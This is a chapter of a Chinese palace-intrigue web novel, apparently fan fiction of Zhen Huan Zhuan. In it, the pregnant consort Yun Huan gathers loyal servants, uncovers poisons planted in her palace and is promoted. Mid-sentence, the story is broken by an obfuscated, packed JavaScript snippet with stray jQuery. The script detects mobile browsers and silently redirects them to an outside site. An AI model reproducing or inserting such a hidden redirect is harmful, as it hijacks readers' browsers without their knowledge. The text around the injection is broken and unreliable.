10. 第十章

作品:《“甄学十级”杀穿甄嬛传

    正月初二起,延禧宫便成了紫禁城中最受瞩目的所在。


    皇帝虽日理万机,却每日必来延禧宫坐上半个时辰。有时是早朝后匆匆一瞥,有时是晚膳后留宿至三更。他从不召幸他人,连皇后处也只遣人送节礼,未曾亲往。六宫私下议论纷纷,有说荣贵人“狐媚惑主”,也有叹“龙凤之胎,天命所归”。


    但云嬛并不张扬。


    她迁入延禧宫正殿“荣辉堂”后,第一件事便是命人将小角房辟为药房,所有药材由温太医亲自配好,流萤每日申时去角门领取,从不经内务府之手。第二件事,是将待客处设为小书房,请沈眉庄常来陪读——名义上是“解闷”,实则是借沈家清誉,为延禧宫立一道文雅屏障。


    第三件事,最令人意外:她主动向皇后请示,愿在养胎期间抄写《金刚经》百卷,供奉寿康宫,为太后与先帝祈福。


    皇后听闻,大为赞许,当即允准,并赐下御制金丝笺与松烟墨。此举一出,连素来挑剔的太后都道:“荣贵人不恃宠而骄,反以谦德自守,难得。”


    云嬛自然知道,后宫之中,恩宠如风,唯有“德”字能固本。她要的不是一时风光,而是步步为营,稳扎稳打。她的家室的确低微,但是后宫之中,英雄不问出处。这才是她要撕扯开甄玉环跟甄远道,孤身入宫的原因。


    正月初三,晨光微熹。


    延禧宫角门外,两道身影在雪中瑟瑟而立。崔槿汐一身素青棉袄,发髻整齐,眉目沉静;小允子则裹着半旧的灰布斗篷,冻得鼻尖通红,却仍挺直腰背,不敢有丝毫懈怠。


    “苏公公,真能成么?”小允子低声问,声音里满是忐忑。


    苏培盛回头瞥他一眼,压低嗓音:“荣贵人如今是皇上心尖上的人,又怀了龙凤胎,正是用人之际。你们若能入她眼,日后前程不可限量。但——”他顿了顿,目光锐利,“若生二心,莫说荣贵人,便是我,也容不得你们。”


    话音未落,流萤已迎了出来,福身道:“苏公公,娘娘请进。”


    三人随流萤穿过回廊,步入荣辉堂东暖阁。云嬛正倚在软榻上翻阅《金刚经》,见他们进来,抬眸一笑,温婉却不失威仪。


    “槿汐、小允子,苏公公对你们满口夸赞,今儿我可算是见了正主儿了。如今本宫迁居主位,身边需得几个知根知底、手脚干净的人。”她放下经卷,目光缓缓扫过二人,“苏公公既荐了你们,本宫信他,也愿给你们机会。但有一言在先——”


    她语气陡然转冷:“延禧宫不养闲人,更不容叛主之徒。你们若入此门,便是本宫的人。忠,则共享荣华;变,则万劫不复。可听明白了?”


    崔槿汐当即跪下,叩首道:“奴婢愿以性命相随,若有二心,天打雷劈!”


    小允子也慌忙跪倒,声音微颤却坚定:“奴才……奴才只求能伺候娘娘和小主子平安,别无他念!”


    云嬛凝视他们片刻,终于缓和神色:“起来吧。槿汐掌内务,管药房与衣饰;小允子协理外事,传话跑腿,兼看守角门。月例按贵人贴身宫人双倍支取,若做得好,孩子出生那日,本宫亲自为你们向皇上讨赏。”皇上的赏赐更多是荣誉象征,若是说成钱其实云嬛不缺钱。


    甄远道不通内务,云母只是跟原来的管事保持联系捏着把柄,许多店铺看似平淡实则赚的钱都进了云母跟云嬛的腰包,更有很多店铺正在经营之中慢慢被“变卖”,光明正大的易主了。


    二人喜极而泣,连连叩谢。


    当夜,云嬛便命厨房加了两副碗筷,与流萤、槿汐、小允子同用晚膳。席间她问起旧事,得知小允子家中尚有老母与一兄,靠替人浆洗度日,不禁动容。


    “你既入我门下,家人便是我的人。”她轻声道,“明日让内务府拨十两银子给你家,再送两匹厚棉布,莫让他们受冻。”


    小允子哽咽难言,只重重磕了个头。


    谁知次日清晨,小允子却面色惨白地冲进药房,扑通跪在云嬛面前,泪如雨下:“娘娘!求您救救我哥哥!他昨夜咳血不止,大夫说……说是痨病,怕是熬不过三日!”


    云嬛眉头一蹙。


    槿汐急道:“小允子,你糊涂!这等事岂能扰娘娘养胎?”


    小允子伏地痛哭:“奴才知道不该求……可那是我亲哥啊!若他死了,我娘就只剩我一人了……”


    云嬛沉默良久,忽然起身,从妆匣底层取出一支锦盒——正是太后昨日所赐的东珠参对中的一支千年人参。


    “拿去。”她将锦盒递给他,“就说……是本宫赏的。记住,只说是‘安胎余药’,莫提人参二字。”


    小允子愣住:“可……这是太后赐给娘娘保胎的!若被查出……”


    “本宫腹中是双胎,气血旺盛,太医说无需大补。”云嬛淡淡道,“救人一命,胜造七级浮屠。况且——”她目光深邃,“你若因此感恩戴德,日后必死心塌地。这笔账,本宫算得清。”


    小允子捧着锦盒,泪如泉涌,重重磕下三个响头:“奴才这条命,从此是娘娘的!若有违誓,教我五雷轰顶,永世不得超生!”


    云嬛扶他起来,轻声道:“去吧。你哥若好了,让他来宫门做杂役,本宫养得起。”


    槿汐在一旁看着,心中震撼。她原以为荣贵人只是聪慧谨慎,今日方知,她更有胸襟与魄力——恩威并施,收心于无形。


    当日午后,皇帝来探,见云嬛神色略倦,关切询问。她只笑言:“昨夜梦到孩子与我玩闹,睡不安稳,醒来偏偏他们还在肚子里闹腾不休。还好太后送了好人参,补了补这孩子倒不闹腾了。”将人参去处过了明路。


    而远处,小允子已抱着锦盒奔出宫门,背影决绝如赴战场。


    这一日,延禧宫的雪,似乎比往常更暖了些。


    正月十七,雪霁初晴。


    延禧宫内炭火融融,云嬛倚在软榻上,手抚隆起的小腹,面色温婉如常。然而眼底却藏着一丝冷意——昨夜流萤在熏香炉底发现一枚极细的银针,针尖微黑,隐有苦杏仁味;槿汐更在床帐夹层中寻出一小包干枯的“断肠草”碎末,混在安神香料之中,若非她曾在甄府见过此物,几乎难以察觉。云嬛眼中划过了然,心知堕了么队长又在努力了。


    云嬛不动声色,只道:“近日梦多,恐是胎气不稳,传温太医来请个平安脉。”


    温实初午后便至。他一入荣辉堂,便觉气氛异常。云嬛只淡淡一句:“太医且仔细些,本宫总觉得……这屋子不太干净。”


    温太医心领神会。他以诊脉为由,命所有宫人退至外间,只留流萤、槿汐在侧。随后,他借查看“安胎环境”之名,从药柜到床榻,从地龙口到窗棂缝隙,一一查验。不到一个时辰,竟在正殿三处暗格、两处墙缝、一处花盆底座中,搜出七种不同毒物或厌胜之物:有致滑胎的红花粉、令人神志昏聩的曼陀罗、还有刻着生辰八字的布偶——那八字,赫然是云嬛的!


    更令人心惊的是,布偶衣料所用云锦,竟是皇后宫中特供的“凤纹素缎”。


    云嬛指尖冰凉,却神色如常。她将证物尽数封存,只对温太医道:“此事,除你我与皇上外,不得再有第四人知晓。”


    当夜,皇帝照例前来。云嬛屏退左右,亲自奉上一盏安神茶,柔声道:“臣妾有一事,思虑再三,不敢瞒陛下。”


    她将证物一一呈上,却刻意隐去布偶衣料来源,只道:“这些手段阴毒狠辣,非寻常嫔御所能为。臣妾不知是哪位姐妹所为,亦不敢妄加猜测。但若不肃清,不止臣妾与腹中龙凤危矣,六宫安宁亦将倾覆。”


    皇帝脸色铁青,一把捏碎手中茶盏:“好大的胆子!竟敢对朕的骨肉下手!”


    云嬛却跪下,声音恳切:“陛下息怒。若大张旗鼓彻查,反打草惊蛇,日后手段只会更隐蔽、更毒辣。臣妾斗胆,请陛下密令温太医,以‘春季防疫’为名,巡查各宫药材、香料、陈设,不动声色清理隐患。如此,既保全皇家体面,又可护住无辜。”


    皇帝凝视她良久,眼中既有怒火,亦有赞许:“嬛儿,你……竟为害你之人求全?”


    “臣妾不为她求全,”云嬛抬眸,目光清澈而坚定,“只为大局。后宫若乱,边关不宁;边关不宁,百姓受苦。臣妾腹中是龙凤,更是国本,岂能因私怨毁社稷?”


    皇帝动容,扶她起身:“好,朕依你。温太医即日起,以太医院名义巡查六宫。另——”他压低声音,“你让沈贵人、安常在也配合清查,朕下个密旨,准她们宫中由温太医亲理。”


    次日,温太医果然以“春疫将至,防毒防瘴”为由,携药童入沈眉庄、安陵容所居配殿。不出半日,在沈眉庄的砚台底座中发现慢性耗血的“乌头粉”,在安陵容的绣鞋夹层里搜出引诱心悸的“藜芦根”。


    三人相视,皆心知肚明——这是皇后借刀杀人之计。既可除云嬛,又可牵连沈、安,一石三鸟。


    但云嬛未点破。她只命槿汐将证物悄悄交予苏培盛,由其直呈御前。皇帝震怒,却依云嬛所言,未发一诏,只悄然撤换皇后宫中十二名近侍,将凤纹素缎库存尽数焚毁,并命内务府从此禁用此类织物。


    皇后察觉异样,却查


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953233|193091||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无实据,只得强作镇定。


    而延禧宫,自此真正固若金汤。


    云嬛坐在新换的紫檀罗汉床上,望着窗外初绽的玉兰,轻声道:“树欲静而风不止。但这一次,风再大,也吹不进我的门。”


    流萤捧来安胎汤,低声道:“娘娘,小允子哥哥醒了,今早已能坐起喝粥。”


    云嬛微微一笑:“告诉他,好好养病。等病好了,来给本宫端茶。”


    正月十五,元宵佳节。


    往年此夜,皇帝多在乾清宫设宴,或携华妃登午门观灯。今年却破例,在延禧宫小院搭起一座玲珑灯棚,只邀云嬛一人赏灯。


    “朕记得你说过,济州元宵,家家挂兔儿灯,孩童提着走街串巷。”皇帝亲手点亮一盏白玉兔灯,递给她,“朕命造办处仿了旧样,你瞧像不像?”


    云嬛接过,指尖微颤。那灯果然与她幼时所见一模一样——兔耳竖立,红眼点朱,腹中烛光摇曳,映得她眼底泛起水光。


    “像极了。”她轻声道,“只是……臣妾如今不能提灯走街了。”


    皇帝凝视她片刻,忽然蹲下身,将灯系在自己腰间,又牵起她的手:“那朕替你走。你扶着朕,咱们慢慢逛,一步也不快。”


    雪后初霁,月色如练。两人缓步于廊下,身后只跟苏培盛一人,连宫灯都撤了大半,唯余脚下青砖映着碎银般的光。


    远处爆竹声隐隐,近处梅香浮动。云嬛靠在他臂弯里,小腹微隆,脚步轻缓,仿佛真回到了济州那个无忧无虑的少女时代。虽然,她的心中毫无波澜,只是期待着下一次结算奖励。


    这一幕,被暗处窥视的颂芝看在眼里,连夜回报华妃。


    “她竟让皇上为她提灯?!”华妃砸了手中翡翠镯子,“贱人!不过仗着肚子争宠罢了!”


    颂芝战战兢兢:“娘娘……听说今早太后已命尚衣局赶制皇子、公主的襁褓,用的是前朝贡品云霞锦,连皇后都没敢用……”


    华妃脸色铁青,良久,咬牙道:“那就让她生下来——只要孩子落地,她是活是死,可就由不得她了。”


    然而她不知,云嬛早已布下天罗地网。


    正月下旬,户部正式立案,查周显私贩军粮、勾结边商一案。证据确凿,牵连甚广,华妃母族被削爵三人,抄没田产两处。华妃求见皇帝三次,皆被拒于养心殿外。


    与此同时,安陵容在皇后面前“无意”提起内务府克扣炭火之事。皇后顺势彻查,揪出翊坤宫两名管事太监,以“欺上瞒下、克扣妃嫔份例”之罪杖毙。华妃威信大损,连曹贵人都开始疏远她。


    而延禧宫,却一日比一日安稳。


    二月初二,龙抬头。


    皇帝下旨,晋云嬛为荣嫔,赐协理六宫之权,位同华妃。圣旨宣读那日,六宫跪迎,连端妃都亲自送来一对和田玉如意,笑言:“荣嫔妹妹,日后可要多照拂我们这些老姐姐。”


    养胎的日子,愈发从容。


    每日辰时,温太医准时诊脉;巳时,沈眉庄来陪读《列女传》《女诫》,实则低声议政;午时,御膳房送安胎膳——燕窝粥、鹿茸汤、鲫鱼豆腐羹,样样温补而不燥;未时,安陵容来唱小曲,或抚琴一曲《平沙落雁》,音律清越,安神宁胎。


    申时,云嬛小憩;酉时,皇帝若得空,必来用晚膳。他不再谈国事,只问她今日可曾梦到孩子,是否想吃酸杏,脚踝可还浮肿。


    二月中旬,胎动初现。


    那夜皇帝正在批折子,忽见云嬛猛地坐起,手覆小腹,眼中含泪。


    “怎么了?”他慌忙起身。


    “他们……动了。”她声音颤抖,带着难以置信的喜悦,“左边踢了一下,右边滚了一下……真的在动!”


    皇帝怔住,随即小心翼翼将手贴上她腹部。片刻后,他眼中竟泛起泪光:“朕……感受到了。他们在叫阿玛。”


    那一夜,他破例宿在荣辉堂外间,只为“离孩子近些”。


    消息传出,太后亲自召见云嬛,赐下祖传的赤金长命锁一对,并道:“哀家年轻时也怀过双胎,可惜其中一位皇子未能保住,只留下我的祚儿亦是福薄。如今看你安稳至此,哀家心中大慰。你只管安心养胎,后宫之事,自有哀家与皇后为你撑腰。”


    至此,云嬛的地位,已无可撼动。


    华妃彻底失势,整日闭门不出。连昔日趋炎附势的嫔妃,也纷纷转投延禧宫门下。


    而云嬛依旧温和有礼,从不苛待下人,亦不打压异己。她深知,真正的胜利,不是踩倒敌人,而是让敌人连靠近的资格都没有。